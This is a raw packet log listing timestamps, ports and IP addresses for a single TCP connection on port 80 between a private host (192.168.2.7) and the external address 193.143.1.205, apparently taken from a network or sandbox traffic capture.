Jan 10, 2025 23:02:05.408452034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408459902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408484936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408538103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408546925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408588886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408622980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408634901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408654928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408689022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408704996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408724070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408756971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408772945 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408790112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408823013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408870935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408874989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408915043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408925056 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.408943892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408976078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.408983946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409012079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409041882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409070969 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409075022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409113884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409120083 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409145117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409181118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409200907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409235954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409271002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409285069 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409302950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409337044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409348011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409370899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409403086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409411907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409439087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409471989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409480095 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409504890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409539938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409548044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409573078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409605980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409620047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409640074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409672976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409684896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409708023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409754992 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409799099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409832001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409866095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409877062 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409898996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409931898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.409960985 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.409966946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410001040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410012007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410034895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410079002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410099983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410114050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410149097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410162926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410181999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410217047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410231113 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410270929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410307884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410330057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410343885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410378933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410394907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410414934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410469055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410476923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410502911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410552979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410556078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410588980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410624027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410634995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410656929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410691023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410723925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410725117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410758018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410768986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410789967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410824060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410835028 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410857916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410892010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410902023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410926104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410960913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.410969973 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.410995007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.411029100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.411037922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.416026115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449385881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449436903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449461937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449515104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449548006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449557066 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449583054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449615955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449625969 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449677944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449709892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449717045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449743986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449775934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449784994 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449810028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.449843884 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.449846029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.451776028 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453366995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453404903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453430891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453459978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453494072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453524113 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453527927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453567028 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453577995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453612089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453646898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453654051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453737974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453769922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453779936 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453804970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453838110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453845024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453871012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453903913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453910112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.453938961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.453979015 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.454018116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.454051971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.454085112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.454097986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.454122066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.454159021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.461817980 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.494659901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494703054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494721889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494748116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494755983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.494762897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494779110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494784117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.494795084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494836092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.494904041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494919062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494935036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494947910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.494951963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.494976044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495038033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495053053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495069981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495079041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495121002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495201111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495215893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495230913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495249033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495254040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495269060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495285034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495295048 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495301962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495325089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495475054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495488882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495505095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495510101 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495521069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495536089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495541096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495552063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495568991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495573997 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495598078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495779991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495794058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495810032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495826960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495837927 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495841980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495857954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495861053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.495876074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.495897055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496066093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496081114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496095896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496104002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496120930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496128082 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496135950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496151924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496167898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496176958 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496182919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496198893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496212959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496215105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496227980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496229887 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496243000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496258974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496265888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496272087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496296883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496568918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496582985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496601105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496607065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496630907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496814966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496836901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496850967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496865988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496871948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496881962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496897936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496898890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496912956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496927977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496932983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496943951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496958971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496963024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.496973991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496989012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.496995926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497004986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497019053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497020006 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497034073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497049093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497055054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497066021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497087002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497445107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497461081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497478962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497487068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497493982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497513056 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497519016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497534037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497550011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497550964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497565031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497581005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497585058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497595072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497611046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497617006 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497625113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497639894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497649908 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.497657061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.497675896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.503379107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549117088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549160957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549187899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549216986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549252033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549263954 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549287081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549320936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549330950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549386024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549421072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549432993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549457073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549489975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549501896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549524069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549557924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549568892 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549592972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549632072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549638033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549751997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549787045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549798012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549820900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549855947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549866915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549892902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549927950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549940109 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.549962997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.549998999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.550009012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.550034046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.550067902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.550080061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.550101995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.550139904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.550153017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.550177097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.550220013 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.563447952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.581639051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581682920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581701040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581728935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581732035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.581746101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581764936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581779957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.581780910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581805944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.581929922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581945896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581963062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581971884 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.581978083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.581995964 CET	49700	80	192.168.2.7	193.143.1.205
